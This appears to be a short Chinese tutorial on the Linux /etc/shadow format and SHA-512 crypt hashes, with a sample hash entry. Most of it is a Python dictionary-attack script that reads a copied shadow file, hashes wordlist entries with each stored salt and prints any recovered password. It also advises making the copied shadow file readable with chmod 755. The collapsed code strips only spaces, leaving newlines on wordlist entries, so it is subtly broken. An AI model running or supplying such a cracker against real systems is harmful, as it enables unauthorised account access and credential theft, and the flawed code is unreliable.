linux 密码保存在
/etc/shadow
shadow 文件的保存格式
python:$6$mWSyC6Pv$hpMreQT77R9ML/Xx1QnRAow1tUTDjIowaTssV7bZw9S44FXYd93kfrFQ8Y2vpj/bQfrub/Q.Z6XkYDt4gAUBE0:17514:0:99999:7:::
加密格式:
{用户名}:{加密后的口令密码}:{口令最后修改时间距原点(1970-1-1)的天数}:{口令最小修改间隔(防止修改口令,如果时限未到,将恢复至旧口令):{口令最大修改间隔}:{口令失效前的警告天数}:{账户不活动天数}:{账号失效天数}:{保留}
密码域密文也是由三部分组成的,即:$id$salt$encrypted。
id为1时,采用md5进行加密;
id为5时,采用SHA256进行加密;
id为6时,采用SHA512进行加密。
在python中有一个crypt 模块可以进行密码计算,而且不用我们担心加密方式是什么。
crypt 方法接收两个参数,第一个是需要加密的明文,第二个参数是 salt.
linux salt 为 $6$mWSyC6Pv$ 形式 其中6表示加密方式 sha512
>>> import crypt >>> crypt.crypt('sdssdd','$6$mWSyC6Pv$') '$6$mWSyC6Pv$8AhSQcqAsoGsMIFHnLhvCRf4cg5gWvPHhWtliw39yIGUYwK5uODO6bzL7GUxD.X.U5N14m3MA0Pikf5fsyO0/' >>> >>>
shadow 只有超级用户才有权限查看,所以拷贝出来的shadow文件需要修改权限
chmod 755 shadow
代码实现
import crypt def testPass(cryptPass): salt = cryptPass[0:12] # 获取加密方式以及密码盐 try: dictFile = open('dictionary', 'r') # 打开密码字典 try: for word in dictFile.readlines(): word = word.strip(' ') cryptWord = crypt.crypt(word, salt) # 将字典中读取的铭文密码通过加密与shadow密码进行判断 if cryptWord == cryptPass: print('[+] Found Password: ' + word + " ") return print('[-] Password not Found. ') return except: dictFile.close() except: print('[-] dictionary 文件无法打开') exit(0) def main(): try: passFile = open('shadow') # 打开shadow文件 try: for line in passFile.readlines(): # 一行一行读取 if ":" in line: user = line.split(':')[0] # 利用 : 分隔 获取用户名 cryptPass = line.split(':')[1].strip(' ') #去掉前后空格 print('[*] Cracking Password For : ' + user) testPass(cryptPass) except: passFile.close() except: print('[-] shadow 文件无法打开') if __name__ == '__main__': main()